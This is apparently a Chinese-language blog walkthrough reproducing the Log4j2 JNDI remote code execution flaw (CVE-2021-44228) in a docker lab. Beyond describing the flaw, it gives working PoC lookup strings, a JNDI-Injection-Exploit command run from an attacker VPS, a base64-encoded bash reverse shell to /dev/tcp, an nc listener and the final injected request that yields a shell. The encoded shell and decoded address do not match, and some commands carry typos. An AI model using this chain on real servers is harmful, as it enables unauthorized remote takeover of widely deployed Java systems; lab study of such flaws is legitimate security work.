漏洞描述
Apache Log4j2是一个基于java的日志记录组件,该日志组件被广泛用于业务系统开发,用以记录程序输入输出日志信息,得益于其他日志的优势:异步日志实现。是最受欢迎的于开发时的日志组件。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
原理
Log4j2默认支持解析ldap/rmi协议,并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:{sys:java.version}}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的
POC
c=${jndi:ldap://log4j2.xxxxxx.dnslog.cn}
c=${jndi:rmi://log4j2.xxxxxx.dnslog.cn}
影响范围
Apache Log4j2 2.x <= 2.14.1
Apache Log4j2 2.15.0-rc1(补丁绕过)
漏洞复现(有内鬼,终止交易,看下一个复现)
用到的时github上的vulhub,环境搭建需要配置docker,上网搜或者看我的都可以
搭建完成就出现下面的,然后选择Log4j2中的CVE-2021-44228
在CVE-2021-44228目录下运行docker-compose uo -d
,然后等待pull完成
不建议docker-compose build,因为下图
然后访问服务器的ip加8983端口(如果想要换端口,docker-compose uo -d -p 123:8080
)
漏洞复现
靶场地址
其实这个不用进去(直接拉仓库),不过可以去了解一下
正常操作,按照代码敲就行了,截图就不放了
- 拉镜像
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
- 运行容器
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
- 进入容器并运行
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh
- 访问环境地址加8080端口
例:
http://192.168.0.148:8080/webstudy/hello-fengxuan
- 测试
先利用dnslog生成一个用于接收回参的网址(这个工具的作用就是在不知道或者无法查看回显时候利用第三方的平台查看回显,看看自己的命令是否被执行。)
wockre.dnslog.cn
用burp抓包,然后修改提交方式为POST
不知道为什么,上面申请的那个url,没有返回数据,然后也ping不通(如果你还没有回显,看图片下面),看下面的图片,说明存在漏洞
注意:用burpsuite抓包重放repeter的方式去发poc,有可能在Dnslog上无法回显的情况发送,如果一直重放,在Dnslog上面点Refresh Record都没有反映的话,这个时候就要用到火狐浏览器或者别的浏览器的一个插件,插件名字叫做:Max HackBar。是一个可以用post发包的小插件,原来的HackBar变成付费了,所以换一个免费的Max HackBar,功能一样,所以选择免费的。 这个插件可以在浏览器插件商城里添加,按F12就能看到这个插件。
- 命令执行
要达到命令执行的效果,需要在本地先要生成JNDI链接并启动后端相关服务,这里用的是JNDI-Injection-Exploit v1.0:
JNDI-Injection-Exploit v1.0 github官网下载,把这个软件上传到vps服务器
在vps服务器上,进入该工具的目录中,输入以下命令:
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]
注意:根据自身情况,调整payload
反弹shell
bash -i >& /dev/tcp/192.168.0.148/9999 0>&1
进行base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNjAuMjQuMTQ4Lzk5OTkgMD4mMQ==
然后就成这样了
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNjAuMjQuMTQ4LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.0.148"
在vps上开启监听
nc -lvp 9999
这里会生成两个协议各一个执行命令,这两个协议在log4j2中都有执行权限
我们使用第一个,再次构造一个payload
rmi://192.168.0.148:1099/wfg8f3
然后我们将这个payload放到burp里面
http://192.168.0.148:8080/webstudy/hello-fengxuan?action=${jndi:rmi://192.168.0.148:1099/wfg8f3}
之后获得shell